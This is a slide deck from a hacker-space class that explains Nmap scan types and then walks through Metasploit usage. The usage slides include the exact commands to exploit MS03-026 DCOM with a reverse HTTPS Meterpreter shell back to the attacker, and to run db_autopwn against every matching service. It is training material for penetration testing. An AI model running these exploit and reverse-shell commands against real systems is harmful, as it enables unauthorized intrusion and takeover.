Using metasploit

3,172 views

Published on

Slides for the Using Metasploit class at Southern Maryland Hacker Space.

Published in: Technology, Business

Using metasploit

  1. 1. Using Nmap and Metasploit<br />Presented by: Conrad Brown<br />cbrown@radnetworx.com<br />http://www.lokisec.com<br />http://twitter.com/guardrad<br />
  2. 2. Who I am<br />Founder of Lokisec.com and Southern Maryland Hacker Space<br />Alphabet Soup<br />A+, Net+, Sec+, MCSE, MCITP, CEH, ECSA<br />Not an expert in<br />Metasploit or Nmap<br />
  3. 3. What is Nmap?<br />Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).<br />
  4. 4. TCP Connection Flow<br />Source: http://publib.boulder.ibm.com/infocenter/tpfhelp/current/index.jsp?topic=%2Fcom.ibm.ztpf-ztpfdf.doc_put.cur%2Fgtps5%2Fs5tcpcf.html<br />
  5. 5. Typical Nmap scans<br />-sS: TCP SYN<br />sS tells Nmap to send a SYN packet to Nmap’s default port list, which includes the most common ports a service my run on. If a SYN/ACK packet is received then the port is open. If a RST packet is received then the port is closed.<br />-sT: Connect()<br />sT tells Nmap to issue a connect() system call to each port in Nmap’s default port list. If the connect() call is successful then the port is open. If it fails or is blocked then the port is closed.<br />
  6. 6. Typical Nmap scans cont.<br />-sA: ACK<br />sA tells Nmap to send an ACK packet to Nmap’s default port list. If a RST packet has been received then those ports are marked as unfiltered. This means that there was not a stateful firewall prior to your target. If some other message is received then Nmap marks those ports as filtered.<br />-sW: Window<br />sW tells Nmap to send an ACK packet to Nmap’s default port list just like -sA.  This scan however looks at the TCP Window property.  Open ports have a window size listed.  Closed ports will have a 0 window size listed.<br />
  7. 7. Typical Nmap scans cont.<br />-sM: Maimon scans<br />sM tells Nmap to send a Fin/ACK to Nmap’s default port list. Most systems respond with a RST packet for both opened and closed ports. However, some BSD systems will drop the packet if the port is opened.<br />-sU: UDP Scan<br />sU tells Nmap to send an empty UDP packet to Nmap’s default port list. If an ICMP type 3 code 3 message is returned then the port is marked as closed. If an ICMP type 3 codes 1, 2, 9, 10, or 13 is returned then the port is labeled as filtered. If a service responds then the port is open. If a service responds and then does not respond to a second UDP packet then the port labeled as open filtered.<br />
  8. 8. Typical Nmap scans cont.<br />-sN: TCP Null<br />sN tells Nmap to send an empty or Null packet to Nmap’s default port list. Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed. If the port is open then no response is given. This only works on devices that are compliant with RFC 793.<br />-sF: FIN<br />sF tells Nmap to send a packet with the FIN bit set to Nmap’s default port list. Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed. If the port is open then no response is given. This only works on devices that are compliant with RFC 793.<br />
  9. 9. Typical Nmap scans cont.<br />-sX: Xmas Scan<br />sX tells Nmap to send a packet with the FIN, PSH, and URG bits set to Nmap’s default port list. Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed. If the port is open then no response is given. This only works on devices that are compliant with RFC 793.<br />
  10. 10. Scan our target using Nmap<br />Let’s get the open TCP ports and the OS<br />Nmap -sS -O -v <Target IP/Range><br />
  11. 11. A wealth of information<br />As you can see we have TCP ports 135, 139, 445, 1025, and 5000 opened.<br />There’s a good chance this is a Windows box.<br />-O -v tells us that it is an unpatched 2000 or XP box.<br />
  12. 12. Searching through CVEs<br />With the information from the Nmap scan look through cve.mitre.org<br />CVE-2003-0812 (MS03_026)<br />CVE-2006-4688 (MS06_066)<br />
  13. 13. What is Metasploit?<br />The Metasploit® Framework is a free, open source penetration testing solution developed by the open source community and Rapid7. It is the de-facto standard for penetration testing with more than one million unique downloads per year and the world’s largest, public database of quality assured exploits.<br />
  14. 14. What is Metasploit?<br />Features are constantly evolving which means items that once worked one way may not work that way now.<br />
  15. 15. Terms<br />Vulnerability - a weakness which allows attackers to reduce a system’s information assurance.<br />Exploit - a piece of code that takes advantage of a systems vulnerabilities.<br />Payload - a piece of software that lets you control a system after it has been exploited.<br />
  16. 16. Open Metasploit<br />CD /pentest/exploits/framework<br />./msfconsole<br />
  17. 17. Easy exploit: MS03_026<br />Use exploit/windows/dcerpc/ms03_026_dcom<br />Set payload windows/meterpreter/reverse_https<br />Set lhost <IP of Metasploit machine><br />Set rhost <IP of victim><br />exploit<br />
  18. 18. Shell!<br />Now you have shell on the box and can have your way with it.<br />
  19. 19. Another (noisy) way!<br />Start mySQL<br />start mysql<br />Start Metasploit<br />msfconsole<br />
  20. 20. Another (noisy) way! cont.<br />Tell Metasploit to use the mySQL DB driver:<br />db_drivermysql<br />Tell Metasploit to connect to the database:<br />db_connect root:toor@127.0.0.1/<db><br />
  21. 21. Another (noisy) way! cont.<br />Run Nmap inside Metasploit and auto populate the database with targets:<br />db_nmap -sS -O -v <Target><br />Check the database for information gathered:<br />hosts<br />services<br />
  22. 22. Another (noisy) way! cont.<br />db_autopwn -t -p -e<br />db_autopwn tries all known exploits to vulnerabilities that match the criteria (services) in the database.<br />Again this is noisy!<br />
  23. 23. Better use of db_autopwn<br />db_autopwn -p -t<br />This will show you exploits that match the opened ports. This will narrow your exploit search down to those that could potentially work instead of going through all of the CVEs.<br />

×